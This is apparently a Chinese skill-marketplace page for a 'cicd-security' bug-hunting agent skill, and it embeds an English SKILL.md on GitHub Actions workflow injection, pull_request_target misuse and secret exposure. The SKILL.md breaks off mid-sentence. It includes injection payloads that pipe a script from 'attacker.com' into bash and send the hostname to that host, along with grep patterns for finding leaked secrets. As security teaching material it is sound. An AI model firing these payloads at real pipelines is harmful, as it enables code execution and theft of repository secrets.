cicd-security
它能做什么
这项技能教智能体如何在 GitHub Actions 等 CI/CD 流水线中查找安全弱点。它说明应检查什么内容,以及如何确认某个弱点是否可以被利用。
适用场景
- ✓当目标拥有运行 GitHub Actions 或其他 CI 流水线的公开仓库的时候。
- ✓当安全审查人员想检查工作流输入是否能执行意外命令的时候。
- ✓当审查人员想检查构建流水线中未固定版本的 Action 或不安全的密钥处理方式的时候。
技能链接
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cicd-security/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请检查这个 GitHub 仓库的工作流,看看是否存在脚本注入和不安全的密钥使用。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会对仓库的工作流运行扫描器,然后人工审阅工作流文件,查找已知的风险模式。任何发现都会在报告之前经过确认。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
CI/CD SECURITY — Pipeline Attack Surface
CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely
1. TOOL — cicd_scanner.sh
# Single repo
bash bughunter/tools/cicd_scanner.sh owner/repo
# Org-wide (up to 30 repos)
bash bughunter/tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5
# Scan with recursive reusable workflow analysis
bash bughunter/tools/cicd_scanner.sh owner/repo --recursive --depth 5
# Custom output
bash bughunter/tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd
Output: findings/<target>/cicd/scan_results.txt + summary.txt
What sisakulint finds:
- Script injection via untrusted context
- Unpinned actions (tag instead of SHA)
pull_request_targetmisuse- Dangerous patterns (
eval,curl | bash, etc.) - Exposed secret names in
run:blocks
2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)
What It Is
GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.
Vulnerable Pattern
# VULNERABLE — attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"
Safe Pattern
# SAFE — pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
Injectable Contexts (always check these)
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref ← alias for branch name
github.event.inputs.* ← workflow_dispatch inputs
PoC Payload
# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #
Detection Grep
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/
3. pull_request_target MISUSE (Critical)
What It Is
pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
Vulnerable Pattern
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker code!
- run: npm test # runs attacker's package.json scripts
Why It's Critical
pull_request_targethas access to secrets- Checkout uses the PR's code
- Any
run:step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
4. SECRET EXFILTRATION
Secrets That Appear in Logs
# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'
GITHUB_TOKEN Abuse
The auto-generated GITHUB_TOKEN can be used to:
- Push code to branches
- Create re
常见问题
它提到了哪些 CI 系统?
它提到了 GitHub Actions、CircleCI、Jenkins 和 GitLab CI。
这里的脚本注入是什么意思?
指不可信文本(例如拉取请求标题)被放入工作流命令中的情况。
它会把发现串联起来吗?
会。这项技能涵盖把多个 CI/CD 弱点串联为一个影响更大的发现。
详情
作者的原始描述
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
热度
- GitHub 星标
- 5.5k
- 排名
- #14785
- 许可证
- MIT
- 更新时间
- 2026/10/28
评论
- …
同一仓库的更多技能
bug-bounty
5.5k帮你的智能体分阶段规划漏洞赏金审查,从检查项目范围、梳理资产,到测试线索、验证影响并撰写报告。
agentic-app-audit
5.5k帮你的智能体从外部审查正在运行的 AI 助手,检查其是否存在工具调用被劫持、记忆被投毒,以及以超出用户权限的方式执行操作等风险。
argus
5.5k帮你的智能体运行六种自动化扫描器,检查常见的 Web 和 AI 应用缺陷,例如开放的跨域访问、JWT 弱点,以及通过带外确认的盲注漏洞。
bb-methodology
5.5k帮你的智能体规划一次漏洞赏金测试会话,分阶段选择下一步和合适的检查,并舍弃无法造成真正危害的想法。